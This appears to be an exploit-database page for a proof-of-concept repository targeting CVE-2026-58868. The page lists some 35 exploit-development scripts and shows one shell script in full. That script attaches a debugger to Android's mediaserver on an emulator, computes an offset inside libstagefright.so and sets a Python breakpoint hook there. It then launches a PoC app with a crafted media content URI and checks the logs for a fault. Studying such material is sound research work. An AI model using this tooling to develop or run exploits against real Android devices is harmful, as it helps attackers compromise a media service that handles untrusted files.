Exploit databaseDownload repository ZIP
GH-6e0f88ff03ddf4d23f187227c961c0ab
redfishrouge/cve-2026-58868-poc
Sources for CVE-2026-58868
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files34
redfishrouge/cve-2026-58868-pocRevision d37c7a14b9c3
- ↑..Parent directory
- adjcheck.sh
- calc.py
- crashlog3.sh
- deep.sh
- devmaps.sh
- devprobe.sh
- flist.sh
- flist4.sh
- gadget.sh
- gadget4.sh
- hook.py
- hookrun12.sh
- hookrun19.sh
- hunt2.sh
- hunt3.sh
- lasttomb.sh
- lldb19.sh
- lob.sh
- many.sh
- mkbig.sh
- mkpair.sh
- mod.sh
- multi.sh
- pair.sh
- poke2.sh
- poke20.sh
- pollcount.sh
- ptrmap.py
- ptrs.py
- pushlib.sh
- regs.sh
- route.sh
- spray.sh
- unstrip3.sh
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
dev/hookrun12.sh
Shell · 1,116 bytes#!/bin/bash
A=/opt/sdk/platform-tools/adb
D="-s emulator-5554"
ID=$(cat /root/mid_id)
$A $D shell pkill -f lldb-server 2>/dev/null; sleep 1
PID=$($A $D shell pidof mediaserver | tr -d '\r')
BASE=$($A $D shell "grep '/libstagefright.so' /proc/$PID/maps | head -1 | cut -d- -f1")
ADDR=$(printf '0x%x' $((0x$BASE + 0xfa800)))
echo "pid=$PID addr=$ADDR"
$A $D logcat -c
$A $D shell "nohup /data/local/tmp/lldb-server gdbserver --attach $PID :5039 > /data/local/tmp/gs.log 2>&1 &"
sleep 2
cat > /tmp/ll.cmd <<EOF
target create /tmp/msrv
gdb-remote 127.0.0.1:5039
command script import /mnt/c/Users/ashvi/Documents/Workspace/ssi/poc/hook.py
breakpoint set -a $ADDR
breakpoint command add -s python -F hook.on_hit 1
process continue
EOF
( sleep 1; $A $D shell am force-stop p.poc; $A $D shell am start -n p.poc/.Main --es content "content://media/external/images/media/$ID" >/dev/null 2>&1 ) &
timeout -k 5 25 lldb -b -s /tmp/ll.cmd > /tmp/ll.out 2>&1
echo rc=$?
grep -E 'HOOK' /tmp/ll.out
sleep 1
echo "pid after=$($A $D shell pidof mediaserver | tr -d '\r')"
$A $D logcat -d | grep -E 'Fatal signal|fault addr' | head -3